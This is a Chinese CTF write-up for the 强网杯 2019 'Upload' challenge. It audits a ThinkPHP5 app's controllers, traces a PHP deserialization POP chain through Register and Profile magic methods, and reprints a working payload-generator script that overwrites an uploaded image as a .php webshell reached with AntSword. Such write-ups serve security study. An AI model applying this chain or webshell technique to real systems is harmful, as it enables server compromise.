强网杯 2019 Upload(代码审计、反序列化、thinkphp5,附代码审计详解)

 做题步骤:

首先看到登录和注册页面,爆破了一下admin登录界面无事发生,注册后登录看见一个上传头像的上传点,

那么可以先构造一个图片马上传抓包,在回显的cookie中能看见一串base64,拿去解码能看见图片马储存的位置

扫了下目录扫出一些文件,其中有用的是www.tar.gz

打开压缩包能看见是th5,查看route/route.php看到其定义的路由都指向了web这个模块,且

thinkphp框架,一般核心文件在application->web->controller

(四个文件的总体详细审计在最后)

大致审计一下,关键的点在于:

Index.php中的login_check()中,这里对Cookie里user后的参数使用反序列化,并且没有进行任何过滤

 $profile=cookie('user');
        if(!empty($profile)){
            $this->profile=unserialize(base64_decode($profile));

寻找别的魔术方法

Register.php中:

    public function __destruct()

    {

        if(!$this->registed){

            $this->checker->index();

        }

    }

Profile.php中:

    public function __get($name)

    {

        return $this->except[$name];

    }

    public function __call($name, $arguments)

    {

        if($this->{$name}){

            $this->{$this->{$name}}($arguments);

        }

    }

 而已知这些魔术方法:

__get():读取不可访问属性的值时,`__get()`会被调用

__call():在对象中调用一个不可访问的方法时,`__call()`会被调用

__destruct():在到某个对象的所有引用都被删除或者当对象被显式销毁时执行

我们可以让checker这个属性为Profile类,调用Profile类里的index()函数,触发__call魔术方法 ,__call方法接收的$name变量为index,在判断时,由于不存在$this->index触发__get,此时__get方法接收的$name变量也为index,它会返回$this->except['index'],那么我们可以构造except为一个数组,键名为index,值为我们要触发的函数名,返回函数名后,便会调用$this->{$this->{$name}}($arguments);,由于$arguments为空,那么这句话的意思就是调用__get返回的这个函数

进入upload_Img()函数,赋值Profile中的成员变量Checker为0,直接绕过判断,并且赋值ext为1

        if ($this->ext) { // 如果文件扩展名检查通过
            if (getimagesize($this->filename_tmp)) { // 检查上传文件是否是一个有效的图像
                @copy($this->filename_tmp, $this->filename); // 将临时文件拷贝为新文件
                @unlink($this->filename_tmp); // 删除临时文件
                $this->img = "../upload/$this->upload_menu/$this->filename"; // 设置图片路径
                $this->update_img(); // 调用 update_img() 方法
            } else {
                $this->error('Forbidden type!', url('../index')); // 如果不是有效的图像文件,返回错误信息
            }
        }

成员变量$filename_tmp赋值为我们刚刚上传的图片马的路径,而覆盖的文件名字$filename赋值为以php结尾的文件,使其以php脚本形式解释

贴一段别人的脚本:

<?php
namespace app\web\controller;
class Profile
{
    public $checker=0;
    public $filename_tmp="../upload/a9c8a444cd2aa8597fedab5b34fb7365/f3ccdd27d2000e3f9255a7e3e2c48800.png";
    public $filename="../upload/a9c8a444cd2aa8597fedab5b34fb7365/yunying.php";
    public $ext=1;
    public $except=array('index'=>'upload_img');

}
class Register
{
    public $checker;
    public $registed=0;
}

$a=new Register();
$a->checker=new Profile();
echo base64_encode(serialize($a));

把得到的payload放到cookie:user=后面,蚁剑一句话木马链接url/upload/a9c8a444cd2aa8597fedab5b34fb7365/yunying.php

拓展代码审计详解: 

index.php

<?php
namespace app\web\controller;  //示将当前文件中的代码置于 app\web\controller 这个命名空间下
use think\Controller; 

class Index extends Controller
{
    public $profile;  // 用户个人信息
    public $profile_db;  // 数据库中的用户资料

    public function index()
    {
        // 检查用户是否已登录
        if($this->login_check()){
            // 如果已登录,重定向到个人主页
            $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/home";
            $this->redirect($curr_url,302);
            exit();
        }
        // 如果未登录,则展示首页内容
        return $this->fetch("index");
    }

    public function home(){
        // 检查用户是否已登录
        if(!$this->login_check()){
            // 如果未登录,重定向到首页
            $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
            $this->redirect($curr_url,302);  //redirect 是框架提供的一个方法,用于进行页面重定向。具体来说,它将用户重定向到指定的 URL 地址,并可以指定重定向的 HTTP 状态码,这里是302重定向到$curr_url
            exit();
        }

        // 检查用户是否已上传头像
        if(!$this->check_upload_img()){
            // 如果未上传头像,展示上传页面
            $this->assign("username",$this->profile_db['username']);//assign()用于赋值
            return $this->fetch("upload");
        }else{
            // 如果已上传头像,展示个人主页
            $this->assign("img",$this->profile_db['img']);
            $this->assign("username",$this->profile_db['username']);
            return $this->fetch("home");//渲染名为 "home" 的模板,并将渲染后的结果作为响应返回
        }
    }

    public function login_check(){
        // 从cookie中获取用户信息
        $profile=cookie('user');
        if(!empty($profile)){
            // 解析用户信息并验证数据库中的用户资料
            $this->profile=unserialize(base64_decode($profile));
            $this->profile_db=db('user')->where("ID",intval($this->profile['ID']))->find();//这行代码的作用是在'user'表中,根据$this->profile['ID']的值进行条件查询,intval()将其化成整数,并将符合条件的第一条记录保存到$this->profile_db变量中。
            // 对比用户信息和数据库信息,判断用户是否已登录
            if(array_diff($this->profile_db,$this->profile)==null){
                return 1; // 已登录
            }else{
                return 0; // 未登录
            }
        }
    }

    public function check_upload_img(){
        // 检查用户是否已上传头像
        if(!empty($this->profile) && !empty($this->profile_db)){
            if(empty($this->profile_db['img'])){
                return 0; // 未上传头像
            }else{
                return 1; // 已上传头像
            }
        }
    }

    public function logout(){
        // 清除cookie中的用户信息,并重定向到首页
        cookie("user",null);
        $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
        $this->redirect($curr_url,302);
        exit();
    }

    // 魔术方法__get,当外部访问不存在的属性时返回空字符串
    public function __get($name)
    {
        return "";
    }

}

login.php

<?php
// 声明命名空间
namespace app\web\controller;
// 引入 think\Controller 类
use think\Controller;

// 定义 Login 控制器,继承自 Controller 类
class Login extends Controller
{
    // 声明一个公共成员变量 $checker
    public $checker;

    // 构造函数,在创建 Login 对象时执行
    public function __construct()
    {
        // 实例化一个 Index 对象并赋值给 $this->checker
        $this->checker = new Index();
    }

    // 定义 login 方法,用于处理用户登录操作
    public function login()
    {
        // 如果 $this->checker 存在,则执行下面的操作
        if ($this->checker) {
            // 调用 $this->checker 对象的 login_check() 方法,如果返回 true,则执行下面的重定向代码
            if ($this->checker->login_check()) {
                // 构建当前 URL 并指向 '/home' 路径
                $curr_url = "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['SCRIPT_NAME'] . "/home";
                // 使用 ThinkPHP 提供的重定向方法,将用户重定向到 $curr_url 地址,并使用 302 状态码
                $this->redirect($curr_url, 302);
                // 终止脚本执行
                exit();
            }
        }

        // 验证用户是否提交了邮箱和密码
        if (input("?post.email") && input("?post.password")) {
            // 获取用户提交的邮箱和密码
            $email = input("post.email", "", "addslashes");
            $password = input("post.password", "", "addslashes");
            // 在数据库中查找匹配邮箱的用户信息
            $user_info = db("user")->where("email", $email)->find();
            // 如果找到了用户信息
            if ($user_info) {
                // 验证用户提交的密码是否与数据库中存储的密码匹配
                if (md5($password) === $user_info['password']) {
                    // 将用户信息序列化并进行base64编码,设置为 user Cookie,有效期为3600秒
                    $cookie_data = base64_encode(serialize($user_info));
                    cookie("user", $cookie_data, 3600);
                    // 显示登录成功的消息,并重定向到 '../home' 路径
                    $this->success('Login successful!', url('../home'));
                } else {
                    // 显示登录失败的消息,并重定向到 '../index' 路径
                    $this->error('Login failed!', url('../index'));
                }
            } else {
                // 显示邮箱未注册的消息,并重定向到 '../index' 路径
                $this->error('Email not registered!', url('../index'));
            }
        } else {
            // 显示邮箱或密码为空的消息,并重定向到 '../index' 路径
            $this->error('Email or password is null!', url('../index'));
        }
    }
}

input() 可以从不同的输入源(如 POST、GET 等)中获取用户提交的数据

addslashes 是一个用于处理字符串的 PHP 函数,它的作用是在字符串中的某些特定字符前添加反斜杠,进行转义。比如单引号(')、双引号(")、反斜杠()、NULL 字符等,防止这些字符在 SQL 语句中被误解或滥用,从而增强数据库操作的安全性。

input("post.email", "", "addslashes") 则是用来获取 POST 请求中名为 "email" 的参数的值。其中第一个参数 "post.email" 表示要获取的参数名,第二个参数 "" 是默认值,如果请求中没有名为 "email" 的参数,则返回默认值,最后一个参数 "addslashes" 是对获取的参数值进行 addslashes 处理,用于防止 SQL 注入攻击。

ThinkPHP 框架中,$this->success()$this->error() 是框架内置的方法,用于显示操作成功和操作失败的提示信息,并进行页面跳转

register.php

<?php
namespace app\web\controller;
use think\Controller;

class Register extends Controller
{
    public $checker;
    public $registed;

    public function __construct()
    {
        // 初始化时创建 Index 类的实例赋值给 $this->checker
        $this->checker=new Index();
    }

    public function register()
    {
        // 如果 $this->checker 不为空,则执行以下代码块
        if ($this->checker) {
            // 调用 $this->checker 实例中的 login_check 方法,如果返回 true,则执行重定向并退出
            if($this->checker->login_check()){
                $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/home";
                $this->redirect($curr_url,302);
                exit();
            }
        }
        // 检查提交的用户名、邮箱、密码是否不为空
        if (!empty(input("post.username")) && !empty(input("post.email")) && !empty(input("post.password"))) {
            // 从输入中获取邮箱、密码和用户名,并通过 addslashes 进行转义处理
            $email = input("post.email", "", "addslashes");
            $password = input("post.password", "", "addslashes");
            $username = input("post.username", "", "addslashes");
            // 检查邮箱格式是否合法
            if($this->check_email($email)) {
                // 检查用户名和邮箱是否在数据库中已存在
                if (empty(db("user")->where("username", $username)->find()) && empty(db("user")->where("email", $email)->find())) {
                    // 若用户名和邮箱均不存在,则将用户信息插入到数据库中
                    $user_info = ["email" => $email, "password" => md5($password), "username" => $username];
                    if (db("user")->insert($user_info)) {
                        // 如果成功插入数据库,则设置 $this->registed 为 1,并重定向到指定页面
                        $this->registed = 1;
                        $this->success('Registed successful!', url('../index'));
                    } else {
                        // 如果插入数据库失败,则显示注册失败提示信息并重定向到指定页面
                        $this->error('Registed failed!', url('../index'));
                    }
                } else {
                    // 如果用户名或邮箱已存在于数据库中,则显示相应提示信息并重定向到指定页面
                    $this->error('Account already exists!', url('../index'));
                }
            }else{
                // 如果邮箱格式不合法,则显示相应提示信息并重定向到指定页面
                $this->error('Email illegal!', url('../index'));
            }
        } else {
            // 如果有信息为空,则显示相应提示信息并重定向到指定页面
            $this->error('Something empty!', url('../index'));
        }
    }

    // 邮箱格式检查函数
    public function check_email($email){
        $pattern = "/^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)*(\.[a-z]{2,})$/";
        preg_match($pattern, $email, $matches);
        if(empty($matches)){
            return 0; // 不合法
        }else{
            return 1; // 合法
        }
    }

    public function __destruct()
    {
        // 如果用户未成功注册,则调用 $this->checker 实例中的 index 方法
        if(!$this->registed){
            $this->checker->index();
        }
    }
}

$pattern = "/^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)*(\.[a-z]{2,})$/"; preg_match($pattern, $email, $matches);

  1. ^: 表示匹配输入字符串的开始位置。
  2. [_a-z0-9-]+: 表示匹配至少一个下划线、小写字母、数字或连字符的字符集合。
  3. (\.[_a-z0-9-]+)*: 表示匹配零个或多个以点开头的下划线、小写字母、数字或连字符的字符集合。
  4. @: 表示匹配邮箱地址中的 "@" 符号。
  5. [a-z0-9-]+: 表示匹配至少一个小写字母、数字或连字符的字符集合。
  6. (\.[a-z0-9-]+)*: 表示匹配零个或多个以点开头的小写字母、数字或连字符的字符集合。
  7. (\.[a-z]{2,}): 表示匹配以点开头且后面跟有至少两个小写字母的字符集合。
  8. $: 表示匹配输入字符串的结束位置。

因此,整个正则表达式的含义是匹配符合标准邮箱地址格式的字符串。

preg_match($pattern, $email, $matches) 的作用是使用正则表达式 $pattern 去匹配邮箱地址 $email,匹配结果会存储在 $matches 数组中。如果匹配成功,则返回 1,否则返回 0。

profile.php

namespace app\web\controller; // 命名空间声明,表示该类位于 app\web\controller 命名空间下

use think\Controller; 

class Profile extends Controller // 定义 Profile 类,继承自 think 框架的 Controller 类
{
    public $checker; // 声明公共变量 $checker,用于存储用户的检查器实例
    public $filename_tmp; // 声明公共变量 $filename_tmp,用于存储上传文件的临时文件名
    public $filename; // 声明公共变量 $filename,用于存储生成的文件名
    public $upload_menu; // 声明公共变量 $upload_menu,用于存储上传菜单
    public $ext; // 声明公共变量 $ext,用于存储文件扩展名
    public $img; // 声明公共变量 $img,用于存储图片路径
    public $except; // 声明公共变量 $except

    public function __construct() // 构造函数,在创建对象时自动调用
    {
        $this->checker = new Index(); // 实例化 Index 类,并赋值给 $checker
        $this->upload_menu = md5($_SERVER['REMOTE_ADDR']); // 根据客户端 IP 地址生成上传菜单的名称
        @chdir("../public/upload"); // 切换到上传目录
        if (!is_dir($this->upload_menu)) { // 如果上传菜单目录不存在
            @mkdir($this->upload_menu); // 创建对应的上传菜单目录
        }
        @chdir($this->upload_menu); // 切换到当前上传菜单目录
    }

    public function upload_img() // 定义上传图片的方法
    {
        // 在上传图片之前先进行用户登录检查,如果未登录则重定向到登录页
        if ($this->checker) {
            if (!$this->checker->login_check()) {
                $curr_url = "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['SCRIPT_NAME'] . "/index";
                $this->redirect($curr_url, 302);
                exit();
            }
        }

        if (!empty($_FILES)) { // 如果接收到了上传的文件
            $this->filename_tmp = $_FILES['upload_file']['tmp_name']; // 获取上传文件的临时文件名
            $this->filename = md5($_FILES['upload_file']['name']) . ".png"; // 生成一个以上传文件名为基础的 MD5 散列后缀为 .png 的文件名
            $this->ext_check(); // 调用 ext_check() 方法检查文件扩展名
        }
        if ($this->ext) { // 如果文件扩展名检查通过
            if (getimagesize($this->filename_tmp)) { // 检查上传文件是否是一个有效的图像
                @copy($this->filename_tmp, $this->filename); // 将临时文件拷贝为新文件
                @unlink($this->filename_tmp); // 删除临时文件
                $this->img = "../upload/$this->upload_menu/$this->filename"; // 设置图片路径
                $this->update_img(); // 调用 update_img() 方法
            } else {
                $this->error('Forbidden type!', url('../index')); // 如果不是有效的图像文件,返回错误信息
            }
        } else {
            $this->error('Unknow file type!', url('../index')); // 如果扩展名检查未通过,返回未知文件类型错误信息
        }
    }

    // 接下来是 update_img()、update_cookie() 和 ext_check() 方法的定义,这部分已经在之前的回答中解释过了。
     public function update_cookie(){
            $this->checker->profile['img']=$this->img;
            cookie("user",base64_encode(serialize($this->checker->profile)),3600);
        }

    public function ext_check(){
        $ext_arr=explode(".",$this->filename);
        $this->ext=end($ext_arr);
        if($this->ext=="png"){
            return 1;
        }else{
            return 0;
        }
    }

    public function __get($name) // 魔术方法 __get,用于获取未定义的属性
    {
        return $this->except[$name]; // 返回指定属性的值
    }

    public function __call($name, $arguments) // 魔术方法 __call,用于在对象中调用一个不可访问方法时执行
    {
        if ($this->{$name}) { // 如果调用的方法存在
            $this->{$this->{$name}}($arguments); // 调用对应的方法
        }
    }
}

if(empty($user_info['img']) && $this->img){判断用户信息中的 "img" 字段是否为空,并且检查当前对象($this)中是否存在一个叫做 "img" 的属性。如果两个条件都满足,即用户当前没有头像

if(db('user')->where('ID',$user_info['ID'])->data(["img"=>addslashes($this->img)])->update()){在上一个条件满足的情况下,使用数据库更新操作来将新的头像信息添加到用户记录中。其中

addslashes($this->img) 用于对图片数据进行转义,以防止可能的 SQL 注入攻击

$this->update_cookie();如果头像更新成功,调用了 $this->update_cookie() 方法来更新用户的 cookie 信息。

$this->success('Upload img successful!', url('../home'));显示一个名为 "Upload img successful!" 的成功消息,并将用户重定向到 "../home" 页面。

["img"=>addslashes($this->img)] 是 PHP 中关联数组的赋值语法。在这里,"img" 是数组的键(key),addslashes($this->img) 是键对应的值(value)

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值